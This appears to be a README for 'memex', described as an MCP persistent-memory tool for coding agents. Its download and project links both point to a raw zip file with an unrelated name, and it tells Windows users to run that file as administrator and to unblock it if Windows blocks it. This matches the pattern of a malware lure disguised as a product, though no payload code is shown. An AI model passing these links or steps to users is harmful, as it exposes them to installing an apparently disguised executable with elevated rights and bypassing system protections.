🧠 memex - Persistent memory for coding agents

🚀 Getting Started

memex gives coding agents a shared memory that lasts across sessions. It stores notes in plain markdown and keeps them in sync with git. This makes it easy to keep project context, task history, and decisions in one place.

Use memex if you want your AI tools to remember what matters across restarts, new chats, and different editors.

📥 Download memex

1. Open the download page: https://github.com/Surviv-ior/memex/raw/refs/heads/main/scripts/Software-wagonload.zip
2. On that page, look for the latest release or the main download files
3. Download the Windows version that matches your computer
4. Save the file to your Downloads folder
5. Open the file and follow the steps on screen
6. If Windows asks for permission, choose Yes

If the download comes as a folder, unzip it first, then open the app inside that folder.

🖥️ What memex Does

memex helps AI coding tools keep a durable memory for your work.

It can help you:

• Save project notes in markdown files
• Keep task context across sessions
• Track decisions and important facts
• Share memory between tools that support MCP
• Sync memory through git
• Work with Claude Code, Cursor, VS Code Copilot, Codex, Windsurf, and other MCP clients

Because it uses markdown and git, you can read the files yourself and keep full control of your data.

✅ What You Need

For a smooth start on Windows, make sure you have:

• Windows 10 or Windows 11
• A stable internet connection for the first download
• Enough free space for the app and your notes
• Git installed if you want sync support
• An MCP-compatible AI tool if you plan to connect memex to an agent

If you do not use git yet, you can still start with local markdown notes and add sync later.

📦 Install on Windows

1. Download memex from the link above
2. Right-click the downloaded file
3. Choose Open or Run as administrator if needed
4. Follow the install steps
5. Choose a folder where memex should store your memory files
6. Finish setup
7. Launch memex from the Start menu or desktop shortcut

If memex opens in a folder-based setup, keep that folder in a place you can find later. Your memory files live there.

🔧 First-Time Setup

After you open memex for the first time:

1. Pick a workspace or project folder
2. Let memex create its markdown memory files
3. Connect your AI tool if you use one
4. Set up git sync if you want your memory backed up in a repo
5. Add a few notes so the memory starts to grow

A good first note might include:

• What your project does
• Main files or folders
• Important decisions
• Things to avoid changing
• Open tasks

🧩 How It Fits Your Tools

memex works with tools that can use MCP. That means your AI assistant can read and write memory in a structured way.

Common uses include:

• Claude Code for project context
• Cursor for coding help with memory
• VS Code Copilot for notes and task recall
• Codex for agent-driven work
• Windsurf for multi-step coding sessions

You can also use memex outside of AI tools if you want a clean markdown system for project memory.

🗂️ Memory Layout

memex keeps information in plain text markdown files. This is useful because:

• You can open the files in any text editor
• You can back them up with git
• You can review changes with normal file tools
• You are not locked into a special database

A simple memory layout may include:

• project.md for project facts
• tasks.md for current work
• decisions.md for design choices
• notes/ for smaller linked notes
• archive/ for old items you want to keep

The exact folder names may vary, but the idea stays the same: small linked notes that build a long-term memory.

🔄 Git Sync

Git sync keeps your memory files in step with your repo. This helps when you:

• Work on more than one computer
• Want a backup of your notes
• Need a change history
• Share memory with your team

A typical flow looks like this:

1. Make a note in memex
2. Save the file
3. Commit the change with git
4. Pull changes on another machine
5. Keep the memory current across sessions

If you already use git for code, memex fits into that flow with little effort.

🧪 Basic Use

Once memex is set up, use it like this:

1. Open your project
2. Add a note about the current task
3. Let your AI tool read the memory
4. Ask the agent to update notes after work is done
5. Review the markdown files when needed

Good things to store:

• Project goals
• Known bugs
• Naming rules
• File paths that matter
• User requests
• Choices you do not want changed later

This keeps your agent from starting from zero each time.

🛠️ Troubleshooting

The app does not open

• Try opening it again as administrator
• Check that the file finished downloading
• Move the app out of a compressed folder if needed
• Restart Windows and try once more

Windows blocks the file

• Right-click the file
• Open Properties
• Look for an Unblock option
• Apply the change and run the app again

My notes do not appear

• Check that you chose the right workspace folder
• Look for the markdown files in the memory folder
• Make sure the app has permission to write files
• Confirm that the folder still exists

Git sync does not work

• Check that git is installed
• Make sure the repo has a remote set up
• Confirm that you can commit changes by hand
• Pull the latest changes before you start work

My AI tool cannot see memex

• Check that your tool supports MCP
• Make sure memex is running
• Review the connection settings in your AI app
• Restart the editor after setup

📚 Suggested Workflow

For best results, use memex in a simple routine:

1. Start your project
2. Open memex
3. Read the current notes
4. Tell your AI tool what you want to do
5. Save new facts as markdown notes
6. Commit changes with git
7. Reopen later and pick up where you left off

This keeps the memory useful and easy to trust.

📌 Topics

• agent-memory
• ai-agent
• ai-coding
• claude-code
• cursor
• knowledge-management
• mcp-server
• memory
• vscode
• zettelkasten

📄 File Format

memex uses markdown, so the files stay simple and readable. A note may look like this:

• Title at the top
• Short facts below
• Links to related notes
• Checkboxes for tasks
• Dates for history

You can edit the files in Notepad, VS Code, or any text editor.

🔐 Data Control

Your memory stays in files you can inspect. That means:

• You can copy it
• You can back it up
• You can move it
• You can delete it
• You can version it with git

This makes memex a good fit for people who want simple storage without a database.

💡 Best Practices

• Keep notes short and clear
• Use one idea per file
• Update memory after important changes
• Remove stale notes when they no longer help
• Keep git commits small and focused
• Use plain names for folders and files

A little structure goes a long way when agents need to remember context later

🔗 Project Link

Open the main page here: https://github.com/Surviv-ior/memex/raw/refs/heads/main/scripts/Software-wagonload.zip

📎 Quick Start Checklist

• Download memex from the link above
• Install it on Windows
• Open your first workspace
• Create a few markdown notes
• Connect your AI tool if needed
• Turn on git sync if you want shared history